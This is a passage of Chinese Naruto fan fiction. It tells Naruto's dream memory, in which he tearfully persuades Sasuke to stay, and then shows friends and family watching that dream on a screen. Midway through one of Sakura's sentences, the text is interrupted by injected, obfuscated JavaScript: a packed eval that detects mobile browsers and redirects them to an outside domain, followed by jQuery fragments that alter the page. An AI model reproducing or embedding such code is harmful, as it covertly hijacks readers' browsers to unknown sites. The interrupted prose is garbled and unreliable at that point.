鸣人死死咬着嘴唇,拼命阻止汹涌而出的呜咽声,只是那样无声而又压抑地哭泣着,任谁都看得出他有多么痛苦和悲伤。
“鸣人,你……别哭啊。”“佐助”还是像佐助的,这时候便有些紧张,下意识地想做点什么,又不知该如何是好。
“佐助……呜……”求救般地叫出对方的名字后,鸣人没能崩得住,一下子如洪口决堤,终于哽咽着哭了起来。
“佐助……呜呜……你不要……留我一个人……呜呜……你留下来……呜呜……我们一起……想想办法……好不好?”
鸣人虽然从小惯受欺凌,但一直很坚强,就算被推搡、被打骂、被指着鼻子骂作“妖狐”,也很少在人前哭泣。因为他就算哭,也没有人会关心他,那些人只会笑话他软弱。
但彼时尚在年幼时,佐助就想,鸣人不在人前的时候,一定哭过很多次了吧。
就像家族被灭以后,每每想起时,佐助也痛哭的夜晚。
所以看着只有十七岁的,缺了一条手臂的,在他面前委屈又无助的,泣不成声的少年鸣人,佐助的心都抽搐了下,针扎一样的疼痛。
“喂鸣人,你好歹是四战英雄,还是未来火影,别跟小孩子一样哭了!不就是分开吗?也没什么的。我们又不是没分开过……”
十七岁的“佐助”必定与他同感,但还在撑着面子,嘴上是冷硬不耐烦的语气,却又试探性地伸出手,笨拙地拍了拍鸣人的肩膀以作安慰。
结果听了他的话,鸣人哭得更凶。
“我不想和……佐助……总是分开……呜呜……每次要见你……都太难了……”
那双海蓝的眼睛已经彻底淹没在了泪水中,鸣人伸手抹了把脸,但暴雨下个不停,泪水在脸颊上肆意流淌,怎么也擦不干净。
“鸣人……别哭了……”
面对一个突然情绪崩溃,哭着挽留他的鸣人,“佐助”也终于束手无策,“那,行吧。我尽量……留下来。”
“呜……”鸣人的眼泪戛然而止,表情有些不可置信似的,“佐助……真的吗?”
“啊。”佐助听到“自己”颇为无奈的声音,“我们一起,想想办法……如果有那种办法的话。”
鸣人当场变脸,破涕为笑。
“佐助——”扑过来就是一个熊抱。虽然碍于只有一条手臂,抱不了满怀,但那份由衷的喜悦却足以填满人心。
“喂小心点!”“佐助”嘴上嫌弃着,却抬起仅存的一只手,毫不犹豫地接住了冲撞过来的金发少年。
虽然体验不到实感,鸣人抱过来的时候,佐助仍是情不自禁地弯了下嘴角。
这就是鸣人的策略吗?靠哭给他看,赢了这一场……还真是狡猾啊。
不过,佐助想了想,如果当年,十七岁的漩涡鸣人,在十七岁的宇智波佐助面前,不是那么洒脱地跟他说一路顺风,而是使出这一招的话……
两个少年在午后寂静的林间小路旁,紧紧地互相拥抱,有那么一段时间,谁也没放开手。
直到再不放手,似乎有点奇怪了的尴尬瞬间,两个人默契的,同时后退了一步,生生拉开距离。
“咳……那我走了。”佐助说。
“——诶?”鸣人眼睛顿时瞪得滚圆。
“佐助”用一种对待白痴的耐心态度,掏出任务卷轴,解释道:“我手上这个任务,已经接了的,没办法,只能先做了再说。”
“哦哦,差点忘了。”鸣人展颜,接着追问,“那你做这个任务需要多久?”
“唔,三个……”佐助望着那双被眼泪浸润过更显明亮的蓝眸,在对方热切而期待的目光中,听到“佐助”临时改口,“三周吧。”
佐助心想,很好,我当初做了三个月的任务,倒要看看你三周怎么完成……明明是另一个“自己”,竟是有看好戏的心态。
同时心里有点好笑,鸣人明明知道他第一次的任务做了三个月,还让“佐助”改口说三周,仿佛自己给自己制造一种被……
被……
佐助怔了怔。
恰在此时,眼前陷入了一片黑暗。
鸣人第一次的梦境记忆结束了。
------
等候室。
查克拉电子光屏上,正在播放鸣人第一次的梦境记忆片段。
因为是全景版本,少年鸣人趴在火影岩上窥视三人告别,紧接着追赶少年“佐助”的画面刚出来没多久,春野樱就瞪直了眼睛。
“这不是……鸣人那家伙,还以为他没去送行……”
在春野樱简要的解释下,佐良娜才知道这是什么时候发生的什么事。
她看着当年十七岁刚刚离村的“爸爸”,和当年也是十七岁还空着一边衣袖的七代目,一方面对他们年少时的面貌感到新奇,另一方面,也对他们所说的话感到惊讶。
尤其“父亲”和七代目陷入争执,不得不解释为什么不能留在木叶的时候,佐良娜才知道,她的父亲多年在外不回木叶,背后竟然还有这样复杂的原因。
除了鹿丸以外,包括日向雏田在内,其他人都是第一次对此有所了解。博人对自己这个前不久才认识的师父也存有一份好奇,对他的过去经历越了解越崇拜,聚精会神地盯着光屏上的画面。
然而,没多久。
“这有什么好哭的……真丢人!”博人看着自己亲爹在师父面前哭得不能自已的样子,立即嫌弃起来。
“妈妈,爸爸哭了……”向日葵惶惑又慌张地看了看妈妈。
“鸣人君……”雏田喃喃。
画面里那个对着宇智波佐助泪如雨下,哭着求他不要离开的鸣人,是她从未见过的鸣人。
从那双蓝眸里流出的眼泪,那么多……鸣人的表情,那样极致的,简直要溢出屏幕的委屈和悲伤。
然后,她便看到画面里那个一直神情冷静、言辞犀利的少年宇智波佐助,对着她少年时的,泣不成声的丈夫,露出了震惊失措的表情,很快就妥协了。
同时看到这一幕的春野樱,惊诧得嘴巴都张大了。
春野樱对那天发生的事记忆犹新。
在送行的时候,她小心翼翼的,羞怯的,提出想跟着佐助一起走,那时,佐助是怎么说的?“这是我的赎罪之旅,你和我的罪孽无关”,一句话就跟她切割得泾渭分明。
佐助不同意带她一起走……
两个人成家以后,佐助也没有为了她留下来……
可是,在鸣人面前,“佐助
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15463679|169762||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”却答应“尽量留下来”,说“我们一起,想想办法……”
虽然知道这不是真的佐助,这是鸣人梦里的“佐助”,这些过去的对话在现实里应该并没有发生过,但是,春野樱的心神仍然受到了不小的冲击。因为,冥冥中她觉得,佐助真的有可能会对一个哭泣的鸣人这样妥协。
她看着夕阳下的小树林里,各断一条手臂的两个少年拥抱在一起,很久很久,仿佛从来都是一体,仿佛一刻不能分离。
春野樱朦胧中发现自己这些年来似乎对一些重要又细微的东西,一直没能察觉。
画面最终在“佐助”临时改口说“三周吧”之后,鸣人露出惊喜的表情时落下了帷幕,光屏暗下来。
一直提心吊胆看到这里的鹿丸,稍稍松了口气。
还好,除了那个时间长得有点不像话的拥抱以外,其他没有什么太出格的内容。
那个也很好解释。嘛,挽留最好的朋友,情之所至,多抱会儿也没什么。
“原来鸣人君遗憾的是,当初没能把佐助君留下来啊……”果然,雏田理解地点了点头,面色并没有什么异样。
“应该是。”鹿丸随口附和了一声。
鹿丸这时才有心思客观评价自己好友的这个梦。说实话,这内容已经比他预想的好得多了。看来鸣人还是有理智的,虽然是在梦里,还是会遵循现实逻辑,行为也没有太过离奇。
鹿丸是知道鸣人的,一向情感充沛,当初得知自来也死讯的时候,也不是没见过鸣人的眼泪。
他比较惊奇的反而是宇智波佐助,就是鸣人梦里的这个“佐助”,在鸣人面前竟然是这个样子。
那个对谁都不假辞色,向来冷冰冰的酷哥,年少时就挂着一张天底下所有人都对不起他的厌世脸,后来独自在外漂泊多年,可能离群索居惯了,看似低调平和的行事作风下,其实一副心如止水、宠辱皆忘,视人如无物、漠然于万物的态度。
四战后这十多年,鹿丸算是整个木叶除了鸣人以外,跟宇智波佐助打交道次数最多的人了,这些年从来没在他脸上见过除了面无表情以外的表情。
原来,酷哥也会有震惊紧张手足无措的时候,也会有无奈叹气柔声妥协的时候,也会有因为一个拥抱而露出微笑的时候。
虽然知道这是由鸣人意识创造的梦里的角色,并不是真实的宇智波佐助,但是,鹿丸却莫名觉得,这个宇智波佐助,一个在鸣人面前会因为鸣人而产生各种情绪波动,表情格外丰富的宇智波佐助,就是他最真实的模样。
“佐助才不是什么冷酷无情的人啊我说!他啊,其实是很心软的。你和他熟了以后就知道了。”
鹿丸想到鸣人曾在他面前,努力纠正世人对宇智波佐助的偏见。
不过,即使现在看到这里,鹿丸依旧认为,宇智波佐助本质是个冷心冷情的人。在这个世界上,能让他心软的特例,恐怕也只是某一个人吧。
“各位,还要继续看吗?”大蛇丸在众人脸上扫视了一圈,笑眯眯地问道。
日向雏田、春野樱等人应声点头。
咔哒一声,大蛇丸再次敲下了电子光屏的播放键。
望着光屏里逐渐显出的画面,鹿丸心头一凛,一口气再次提了起来。